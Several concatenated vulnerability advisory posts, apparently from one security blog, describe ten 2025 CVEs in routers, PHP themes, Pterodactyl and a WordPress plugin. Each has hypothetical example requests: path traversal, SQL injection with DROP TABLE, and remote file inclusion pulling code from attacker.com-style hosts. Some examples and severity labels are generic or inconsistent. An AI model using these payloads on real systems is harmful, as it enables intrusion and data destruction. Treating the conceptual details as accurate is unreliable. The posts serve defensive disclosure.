Author: Ameeba

Overview

CVE-2025-44635 is a critical cybersecurity vulnerability identified in several series of H3C routers. The vulnerability allows hackers to bypass authentication protocols, inject malicious commands, and obtain root-level privileges on the targeted remote devices, thereby gaining complete control over them. With CVSS Severity Score of 9.8, this vulnerability puts a vast amount of data and systems at risk, necessitating immediate attention and remediation.
The vulnerability is particularly significant because it affects a wide range of H3C routers used by businesses and organizations globally. The exploitation of this vulnerability could lead to severe consequences such as system compromise and data leakage, making it a paramount concern for cybersecurity teams.

Vulnerability Summary

CVE ID: CVE-2025-44635
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise / Data Leakage

Affected Products

Product | Affected Versions

H3C ER2200G2, ERG2-450W, ERG2-1200W, ERG2-1350W, NR1200W series routers | before ERG2AW-MNW100-R1117
H3C ER3100G2, ER3200G2, ER3260G2, ER5100G2, ER5200G2, ER6300G2, ER8300G2, ER8300G2-X series routers | before ERHMG2-MNW100-R1126
H3C GR-1800AX | before MiniGRW1B0V100R009L50
H3C GR-3000AX | before SWBRW1A0V100R007L50
H3C GR-5400AX | before SWBRW1B0V100R009L50

How the Exploit Works

The exploit takes advantage of unauthorized remote command execution vulnerabilities in H3C routers. Attackers can bypass authentication by including specially crafted text in the request URL or message header. They can then inject arbitrary malicious commands into some fields related to ACL access control list and user group functions. These commands are executed to obtain the highest ROOT privileges of remote devices, thereby completely taking over the remote target devices.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. Please note that this example is purely hypothetical and simplified for illustrative purposes.

POST /command_execution HTTP/1.1
Host: target.router.com
Content-Type: application/text
{ "command": "echo 'crafted_text' | sudo -u root /bin/sh -c 'malicious_command'" }

In this example, the attacker is sending a POST request to the command execution endpoint of the targeted router. The malicious command is embedded in the ‘crafted_text’, which when processed by the router, leads to execution of the ‘malicious_command’ as a root user. This allows the attacker to gain full control over the target device.

Overview

CVE-2025-45890 represents a severe directory traversal vulnerability in Novel Plus versions preceding v.5.1.0. A remote attacker can exploit this weakness to execute arbitrary code, potentially compromising the system and leaking sensitive data. This vulnerability matters significantly due to its high severity score and the potential for widespread data loss or unauthorized system access. As such, it is crucial for anyone using Novel Plus to understand this vulnerability and take immediate steps to mitigate its effects.

Vulnerability Summary

CVE ID: CVE-2025-45890
Severity: Critical (CVSS Score: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Novel Plus | Before v.5.1.0

How the Exploit Works

The exploit leverages a directory traversal vulnerability in Novel Plus. Specifically, the vulnerability lies in the improper handling of the ‘filePath’ parameter. By sending specially crafted requests, an attacker can manipulate the ‘filePath’ parameter to traverse directories and execute arbitrary code remotely. This exploitation can lead to unauthorized system access and potential data leakage.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited might look like this:

GET /download?filePath=../../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker uses the ‘filePath’ parameter to traverse to the ‘etc/passwd’ directory, a common target as it stores user account details. A successful exploit could allow the attacker to gain unauthorized access to sensitive data.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch immediately. If unable to apply the patch right away, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These tools can help identify and block malicious requests that attempt to exploit this vulnerability. However, they should not replace the long-term solution of patching the affected software.

Overview

In the cybersecurity landscape, the discovery of a new vulnerability often necessitates urgent action to prevent potential system compromises or data leakage. This blog post details a critical vulnerability (CVE-2025-49132) found in Pterodactyl, a popular open-source game server management panel. This flaw could potentially allow an unauthenticated attacker to execute arbitrary code on the server, leading to devastating consequences for the integrity, confidentiality, and availability of the system and its data. Given Pterodactyl’s widespread usage, this vulnerability presents a significant threat that system administrators and security professionals must address immediately.

Vulnerability Summary

CVE ID: CVE-2025-49132
Severity: Critical (10.0 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthenticated arbitrary code execution leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Pterodactyl Panel | Prior to version 1.11.11

How the Exploit Works

The exploit works by making use of a flaw in Pterodactyl’s /locales/locale.json endpoint. By injecting malicious code via the locale and namespace query parameters, an attacker can trigger the server to execute arbitrary code. This process does not require authentication, making it especially dangerous. The malicious code can be crafted to perform various harmful actions, such as gaining access to the server, stealing credentials, extracting sensitive information from the database, or accessing files of servers managed by the panel.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /locales/locale.json?locale=..%2f..%2f..%2fvar%2fwww%2fhtml%2fconfig.php&namespace HTTP/1.1
Host: target.example.com

This example code attempts to manipulate the locale parameter to read sensitive files (like the config.php file) from the server’s file system, which could contain database credentials or other sensitive information.
It’s important to note that this is a conceptual example and the actual exploit may vary, depending on the specific circumstances and the attacker’s objectives.

Mitigation Guidance

To mitigate this vulnerability, users are advised to upgrade to Pterodactyl Panel version 1.11.11 or later, which includes a patch for this issue. If upgrading is not immediately possible, implementing an external Web Application Firewall (WAF) could help to mitigate this attack. It is also strongly recommended to monitor system logs for any suspicious activity and isolate affected systems until they can be updated.

Overview

CVE-2025-52821 is a significant security vulnerability, which affects the popular video management software, thanhtungtnt Video List Manager. This flaw is a specific type of code injection attack, known as SQL Injection, which could allow adversaries to manipulate the software’s database queries. This vulnerability is particularly concerning due to the potential for system compromise or data leakage, which could lead to unauthorized access to sensitive data or even entire system control. Given the widespread use of the Video List Manager in various sectors, this vulnerability has broad implications for data protection and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-52821
Severity: High (CVSS: 8.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

thanhtungtnt Video List Manager | Up to 1.7

How the Exploit Works

The SQL Injection vulnerability in thanhtungtnt Video List Manager occurs due to improper neutralization of special elements used in an SQL command. This allows an attacker to inject their own malicious SQL code into the database queries made by the software. By doing so, they can manipulate these queries to reveal sensitive data, modify or delete information, or even execute administrative operations on the database.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. An attacker sends a malformed request to the vulnerable endpoint, containing a malicious SQL command. This command is then inadvertently executed by the system, leading to unauthorized actions.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "' OR '1'='1'; DROP TABLE users; --" }

In this example, the SQL command `OR ‘1’=’1’` is always true, potentially allowing the attacker to bypass authentication mechanisms. The `DROP TABLE users` command would delete the entire user database, while the `–` comments out any remaining SQL, preventing syntax errors.

Mitigation Strategies

The primary mitigation strategy for CVE-2025-52821 is to apply the vendor-provided patch. This should fix the underlying issue and prevent future exploitation. In case the patch cannot be immediately applied, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and block SQL Injection attempts as a temporary mitigation measure. However, these are not long-term solutions, and the patch should be applied as soon as practicable to fully secure your systems.

Overview

The identified vulnerability, CVE-2025-49252, is a serious cybersecurity flaw that affects the PHP program in ThemBay’s Besa. This vulnerability, also known as ‘PHP Remote File Inclusion,’ allows unauthorized actors to include local files in PHP programs, potentially leading to system compromise or data leakage. With a CVSS Severity Score of 8.1, this vulnerability is of high importance and demands immediate attention from those using affected versions of Besa.

Vulnerability Summary

CVE ID: CVE-2025-49252
Severity: High (CVSS:8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Thembay Besa | Through 2.3.8

How the Exploit Works

The PHP Local File Inclusion vulnerability occurs due to improper control of the filename for Include/Require Statement in a PHP Program. An attacker can remotely inject a file from a server-side script, which, when executed, can lead to unauthorized system access or data leakage. This exploit doesn’t require user interaction, making it particularly dangerous.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability. This is a sample HTTP request, where the attacker injects a malicious payload into the PHP script.

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.com

In this example, `http://attacker.com/malicious_script.txt` is the malicious file hosted on the attacker’s server. When the server-side script executes this request, it will include the malicious file, leading to potential system compromise or data leakage.

Mitigation Steps

The most immediate mitigation step is to apply the vendor-supplied patch. In the absence of such a patch, a temporary mitigation could be implemented through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can filter out malicious requests, thereby preventing the exploitation of this vulnerability. Despite this, patching remains the most effective and permanent solution.

Overview

Recently, a new vulnerability, identified as CVE-2025-49251, has been discovered within the Themebay Fana PHP program. This flaw allows for PHP Remote File Inclusion, a serious issue that can lead to system compromise or data leakage. PHP developers and administrators using Themebay Fana, particularly versions up to and including 1.1.28, are the primary group at risk. This vulnerability matters due to its severity, which has been given a CVSS score of 8.1, indicating it as a high-risk vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-49251
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Themebay Fana | Up to and including 1.1.28

How the Exploit Works

The vulnerability, CVE-2025-49251, lies within the ‘include’ or ‘require’ statement in the PHP program of Themebay Fana. It allows an attacker to manipulate the filename that is passed to these statements and thus include a remote file. This remote file can contain malicious PHP code that gets executed on the server. This can lead to unauthorized system access and potential data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request. The attacker sends a POST request that includes a malicious payload designed to exploit the PHP Remote File Inclusion vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"include_file": "http://attacker.com/malicious_file.php"
}

In this example, the attacker is attempting to include a malicious file from their server. If the server is vulnerable, this file will be included and executed, leading to potential system compromise or data leakage.

Mitigation and Prevention

The primary method to mitigate this vulnerability is to apply the vendor’s patch. If a patch is not available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Further, it’s always a good practice to sanitize and validate all user inputs and restrict the use of the ‘include’ and ‘require’ statements to prevent these types of vulnerabilities.
Always ensure that your systems are regularly updated and patched to prevent exploitation of known vulnerabilities.

Overview

The vulnerability CVE-2025-29002 is a significant security flaw that affects the snstheme Simen, a popular PHP-based theme widely used in various web applications. This vulnerability focuses on the improper control of filename for Include/Require Statement in PHP Program, otherwise known as ‘PHP Remote File Inclusion’.
Users and administrators of websites and applications running on snstheme Simen should be particularly concerned about this vulnerability, as it can potentially lead to system compromise or data leakage. This blog post will provide a detailed examination of this vulnerability, its potential impact, and mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-29002
Severity: High (8.1 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

snstheme Simen | n/a through 4.6

How the Exploit Works

The exploit takes advantage of the improper control of filename within the PHP Include/Require statement in snstheme Simen. An attacker can remotely include files from external servers, thereby executing arbitrary code. The code runs with the privileges of the server, potentially resulting in full system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example that demonstrates how this vulnerability might be exploited. In this scenario, an attacker sends a specially crafted URL that includes a reference to a remote file with malicious PHP code:

GET /index.php?page=http://malicious.example.com/malicious_code.txt HTTP/1.1
Host: target.example.com

In the example above, the file ‘malicious_code.txt’ on the remote server ‘malicious.example.com’ would contain the PHP code that the attacker wants to execute on the target server.

Mitigation Guidance

To mitigate this vulnerability, users of snstheme Simen should apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability.
In the longer term, developers should avoid using user input directly in Include/Require statements and should validate and sanitize all user input. Regular code reviews and security audits can help catch such vulnerabilities before they become a problem.

Overview

The cybersecurity world is facing a severe challenge with the discovery of a new vulnerability, CVE-2025-28991. This vulnerability lies within snstheme Evon, a PHP program, and is associated with an improper control of filename for Include/Require statement, thereby allowing hackers to exploit PHP local file inclusion. Given the popularity of PHP in web development, this vulnerability has the potential to affect a significant number of systems, raising the stakes for rapid and effective mitigation.

Vulnerability Summary

CVE ID: CVE-2025-28991
Severity: High, with a CVSS score of 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

snstheme Evon | n/a through 3.4

How the Exploit Works

This exploit works by taking advantage of the improper control of filename for Include/Require statement in PHP programs. By manipulating the filename in the Include/Require statement, an attacker can remotely include a file from a different server, leading to PHP Local File Inclusion. This, in turn, can lead to code execution on the server, data leakage, and potential full system compromise.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious file being included from a remote server:

<?php
$evil_var = $_GET['evil_var'];
include($evil_var);
?>

In this example, an attacker could manipulate the ‘evil_var’ GET parameter to include a file from a remote server. For instance, ‘http://target.example.com/vulnerable_script.php?evil_var=http://attacker.com/malicious_script.php’.
This would cause the server to include and execute the malicious_script.php file from the attacker’s server, leading to a successful exploit of the CVE-2025-28991 vulnerability.

Remediation

As a mitigation measure, users are advised to apply the vendor-provided patch as soon as possible. If that is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. Additionally, it is recommended to always sanitize user inputs and avoid using user-supplied input directly in an include or require statement.

Overview

The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-24761, affects the PHP-based Snstheme DSK. This vulnerability arises from improper control of a filename for an Include/Require statement in a PHP program which facilitates PHP Local File Inclusion. It poses a significant threat to system integrity and data security, as it potentially allows unauthorized access to sensitive data or even full system compromise. Therefore, understanding and mitigating this vulnerability is of utmost importance for users of Snstheme DSK.

Vulnerability Summary

CVE ID: CVE-2025-24761
Severity: High, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Snstheme DSK | Up to version 2.2

How the Exploit Works

The vulnerability, CVE-2025-24761, arises when an attacker is able to manipulate the filename that is used in an Include/Require statement in a PHP program. This allows them to include a file from a remote server which can be executed within the context of the local PHP application. This is known as a PHP Remote File Inclusion (RFI) attack. In this case, the attack can lead to unauthorized access, potential system compromise, and data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "includeFile": "http://evil.com/malicious_script.php" }

In this example, the attacker sends a POST request to a vulnerable endpoint on the target server. The “includeFile” parameter is manipulated to point to a malicious PHP script hosted on a remote server (evil.com). If the server processes this request, it would include and execute the malicious script in the context of the local PHP application, potentially leading to system compromise or data leakage.

Mitigation Guidance

Users of Snstheme DSK are strongly recommended to apply the vendor’s patch to resolve this vulnerability. If the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can be configured to block or alert on attempts to exploit this vulnerability, thus providing a layer of protection while a more permanent solution is implemented.

Overview

The cybersecurity world is waking up to a new threat, CVE-2025-3515, a file upload vulnerability found in the popular WordPress plugin, Drag and Drop Multiple File Upload for Contact Form 7. The severity of this vulnerability stems from its potential to allow unauthenticated attackers to upload arbitrary files, including .phar or other dangerous file types, on the affected site’s server. This vulnerability could lead to potential system compromise or data leakage, as these maliciously uploaded files could be used for remote code execution on servers configured to handle .phar files as executable PHP scripts.

Vulnerability Summary

CVE ID: CVE-2025-3515
Severity: Critical (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Drag and Drop Multiple File Upload for Contact Form 7 | All versions up to 1.3.8.9

How the Exploit Works

The exploit takes advantage of insufficient file type validation in the Drag and Drop Multiple File Upload for Contact Form 7 plugin. Specifically, the plugin’s blacklist can be bypassed, allowing an attacker to upload arbitrary, potentially harmful files. Most notably, malicious .phar files can be uploaded and subsequently executed as PHP scripts on servers configured to handle .phar files as such. This is particularly concerning in default Apache+mod_php configurations, where the file extension is not strictly validated before being passed to the PHP interpreter.

Conceptual Example Code

The following is a conceptual example of an HTTP POST request that could be used to exploit this vulnerability:

POST /wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456789
------WebKitFormBoundary123456789
Content-Disposition: form-data; name="file"; filename="malicious.phar"
Content-Type: application/octet-stream
[...] // Contents of the malicious .phar file here
------WebKitFormBoundary123456789--

This request attempts to upload a .phar file named “malicious.phar” to the upload endpoint of the vulnerable plugin. If successful, the uploaded file could be executed as a PHP script on the server, potentially leading to remote code execution, system compromise, or data leakage.

Recommended Mitigation

The best course of action is to update the Drag and Drop Multiple File Upload for Contact Form 7 plugin to a version where this vulnerability has been patched. If a patch is not yet available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation.